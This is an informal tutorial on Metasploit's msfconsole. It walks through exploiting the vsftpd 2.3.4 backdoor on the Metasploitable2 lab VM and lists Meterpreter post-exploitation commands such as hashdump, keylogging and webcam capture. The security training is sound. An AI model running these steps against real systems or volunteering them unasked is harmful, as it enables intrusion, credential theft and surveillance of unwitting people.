Metasploit msfconsole: Your Complete Guide to Running Exploits

Hey friend, grab your coffee and let’s talk about Metasploit – that penetration testing framework that looks intimidating but is actually your gateway to understanding how real exploitation works.

You’ve probably heard about Metasploit in cybersecurity circles. Maybe you’ve seen someone use it in a CTF or a tutorial. But here’s the thing: most people fire off exploits without understanding what’s happening under the hood. Today, we’re changing that.

What Metasploit Actually Does

Metasploit isn’t magic. It’s a framework – think of it like a well-organized toolbox where each tool serves a specific purpose in the exploitation chain. Instead of writing exploits from scratch (which takes serious skill), you’re using pre-built, tested exploits that the community has refined over years.

The heart of Metasploit is msfconsole – the command-line interface that gives you complete control over every aspect of your penetration testing workflow. Unlike GUI tools that hide what’s happening, msfconsole shows you everything, making it perfect for learning.

Understanding Metasploit’s Module System

Before you run your first exploit, you need to understand the four types of modules. Think of these as the building blocks that work together:

Exploit Modules – The Entry Point

Exploit modules are what actually break into systems by exploiting specific vulnerabilities. Each exploit targets a particular flaw – maybe a buffer overflow, a misconfigured service, or an authentication bypass. For example:

• exploit/windows/smb/ms17_010_eternalblue – The famous EternalBlue exploit targeting SMBv1
• exploit/multi/http/tomcat_mgr_deploy – Exploits misconfigured Tomcat Manager
• exploit/unix/ftp/vsftpd_234_backdoor – The backdoored VSFTPD version

The “Rank” column in search results tells you reliability: “excellent” means it works consistently, while “manual” means you’ll need to tweak settings.

Auxiliary Modules – The Scout Team

Auxiliary modules don’t exploit anything directly. Instead, they handle information gathering, scanning, and enumeration. They’re your reconnaissance tools:

• auxiliary/scanner/portscan/tcp – Simple TCP port scanner
• auxiliary/scanner/ssh/ssh_login – SSH credential testing
• auxiliary/scanner/http/dir_scanner – Web directory brute-forcing

You’ll often run auxiliary modules first to gather intel, then use that information to pick the right exploit.

Payload Modules – What Runs After the Break-In

Here’s where beginners often get confused. An exploit gets you in, but a payload defines what happens next. The payload is the actual code that executes on the target after exploitation succeeds:

• Reverse shells: payload/windows/meterpreter/reverse_tcp – Target connects back to you
• Bind shells: payload/linux/x64/shell_bind_tcp – Target opens a port you connect to
• Single commands: payload/cmd/unix/reverse_bash – Executes a single command

Reverse shells are more common because they bypass firewall restrictions – the target connects outbound to your machine, which most firewalls allow.

Post Modules – After the Foot’s in the Door

Once you have access, post-exploitation modules help you gather more intel, escalate privileges, or pivot to other machines. Examples include dumping password hashes, scraping browser data, or installing persistence mechanisms.

Your First Exploit: A Practical Walkthrough

Let’s walk through an actual Metasploit session. Imagine you’re testing Metasploitable2 – an intentionally vulnerable VM perfect for learning.

Step 1: Launch msfconsole

msfconsole

You’ll see a colorful banner and the prompt changes to msf6 >. Type help to see available commands – don’t worry, you’ll only use about 10 of them regularly.

Step 2: Search for Appropriate Exploits

After port scanning your target, you find VSFTPD version 2.3.4 running. Search for related exploits:

search vsftpd

The results show exploit/unix/ftp/vsftpd_234_backdoor with “excellent” rank – that’s your target.

Step 3: Load and Configure the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor
show options

You’ll see required options. Set your target:

set RHOSTS 192.168.1.100
set RPORT 21

Check the payload with show payloads – this exploit uses a default payload, but you can change it.

Step 4: Execute and Get Your Shell

exploit

If successful, you’ll get a shell session. Metasploit tells you the session ID – remember it. To interact:

sessions -i 1

Now you’re inside. Run whoami, pwd, ls -la to explore.

Why Meterpreter Changes Everything

Regular shells are limited. Meterpreter (Meta-Interpreter) is Metasploit’s advanced payload that lives entirely in memory – no files dropped to disk. It’s stealthier and more powerful:

sysinfo              # Target system info
getuid               # Current user
hashdump             # Dump password hashes (requires system)
screenshot           # Grab desktop screenshot
webcam_snap          # Capture webcam
keyscan_start        # Start keylogger
keyscan_dump         # Retrieve keystrokes
upload / download    # File transfer
ps                   # List processes
migrate [pid]        # Jump to another process

Meterpreter also supports Rails-like routing for pivoting through compromised machines to reach internal networks – a crucial technique for real penetration tests.

Common Beginner Mistakes to Avoid

Everyone makes these mistakes when starting:

Forgetting LHOST: For reverse shells, you must set LHOST to YOUR IP address. Without it, the target can’t connect back, and you’ll wonder why exploits “fail.”

Payload Architecture Mismatch: A 32-bit payload on a 64-bit system often crashes the service instead of giving you a shell. Always match architecture.

Ignoring Target Context: An exploit that works on Windows XP won’t work on Windows 10. Metasploit’s “show targets” command lets you specify the exact target version.

Not Handling Sessions: Exploits create sessions. If you don’t interact with them (sessions -i id), you’re missing out on your access. List them with sessions -l.

Essential msfconsole Commands Reference

These commands handle 90% of your workflow:

search [term]           # Find relevant modules
use [module]            # Select a module
show options            # View configuration
show payloads           # Available payloads
set [option] [value]    # Configure settings
setg [option] [value]   # Set globally (persists)
exploit / run           # Execute the module
exploit -j              # Background execution
jobs                    # List background tasks
sessions -l             # List active sessions
sessions -i [id]        # Interact with session
sessions -k [id]        # Kill session
back                    # Exit current module
exit                    # Quit Metasploit

Safe Practice Environments

Never practice Metasploit on targets you don’t own. That’s illegal. Instead, use:

• Metasploitable2/3: Free, intentionally vulnerable Linux VMs designed for learning
• HackTheBox: “Easy” and “Medium” boxes often have Metasploit paths
• TryHackMe: Guided rooms specifically teaching Metasploit workflows
• Your own home lab: VirtualBox + old Windows/Linux ISOs

Bottom Line: Framework, Not Magic

Metasploit makes exploitation accessible, but understanding why exploits work matters more than running scripts. The framework handles the mechanics; your job is reconnaissance, target selection, and post-exploitation strategy.

Start simple – Metasploitable2 and VSFTPD backdoor is a classic first exploit. Then gradually work up to more complex scenarios involving payload selection, AV evasion, and multi-stage attacks.

Now finish that coffee. You’ve got targets to practice on – legally, of course.